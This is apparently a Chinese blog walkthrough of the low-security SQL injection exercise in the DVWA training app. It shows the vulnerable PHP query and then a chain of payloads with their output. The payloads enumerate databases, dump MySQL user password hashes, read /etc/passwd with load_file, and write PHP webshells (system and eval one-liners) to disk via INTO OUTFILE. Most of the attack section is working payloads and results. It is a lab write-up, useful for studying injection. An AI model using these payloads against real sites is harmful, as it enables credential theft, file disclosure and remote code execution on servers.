SQL Injection --low

来源:互联网 发布:传世 登录器 源码 编辑:程序博客网 时间:2024/06/06 00:57


<?php    if(isset($_GET['Submit'])){        // Retrieve data        $id = $_GET['id'];    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );    $num = mysql_numrows($result);    $i = 0;    while ($i < $num) {        $first = mysql_result($result,$i,"first_name");        $last = mysql_result($result,$i,"last_name");                echo '<pre>';        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;        echo '</pre>';        $i++;    }}?>

抓关键语句 :

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid)

这里对$id参数没有任何过滤

这里是字符型注入

用 1'and '1'='1  和 1'and '1'='2 可以发现存在漏洞

接下来用    1'  order by  2#

所以这个可以简单构造一个     $id=  -1'union select 1,2# 

这样带进去可以带到  sql语句为  

SELECT first_name, last_name FROM users WHERE user_id = ''union select 1,2# '所以这里用上了联合查询 :<pre name="code" class="php">SELECT first_name, last_name FROM users WHERE user_id = ''
unionselect 1,2# '而后面就实现了自己想要的select查询  这里井号的作用就是屏蔽后面的sql语句内容那么这里就可以利用sql语句来做我们想做的事情咯。我们想得到有关php和服务器的信息<pre>ID: -1' union select 1,concat_ws(char(32,58,32),user(),database(),version()) #First name: 1Surname: root@localhost : dvwa : 5.5.38-0ubuntu0.14.04.1

这个是用php+mysql搭建的
mysql数据库可以通过系统表查询
schema_name from information_schema.schemata

我们通过它可以得到数据库信息:
ID:  -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: information_schema
ID:  -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: dvwa
ID:  -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: mysql
ID:  -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: performance_schema

我们可以得到当前的用户和密码

-1'union select 1,concat(user,':',password)from mysql.user# 

ID: -1'union select 1,concat(user,':',password)from mysql.user# First name: 1Surname: root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
ID: -1'union select 1,concat(user,':',password)from mysql.user# First name: 1Surname: debian-sys-maint:*8010250A4C3114D73C23FCBFCB69BEB2FA21F917
还可以读取系统文件

load_file('X:/php.ini')
magic_quotes_gpc 开启的环境需要转为16进制再读取

-1'union select 1,load_file('/etc/passwd')#

得到信息如下

ID: -1'union select 1,load_file('/etc/passwd')# First name: 1Surname: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync



利用注入点写 shell            ////////////////////   '<?php system($_GET['sec']);?>' into outfile '/var/www/xiaoma.php'#


1' union select 1,2 into outfile '/tmp/xiaoma.txt'#   这句话是完全正确的 并且我在server上成功找到了这个文件

再构造一个类似的
1' union select 1,'<?php @eval($_POST[1])?>' into outfile '/tmp/xiaoma.php'#  成功

但是这里我们只是传到了tmp文件夹下 实际上 我们要传到 /var/www/目录下 也就是在服务器目录下  那么此时一句话木马就可以发挥作用了。。


测试的时候发现  mysql数据库不能在/var/www下拥有写权限  我要好好思考思考  怎么回事。。














0 0
原创粉丝点击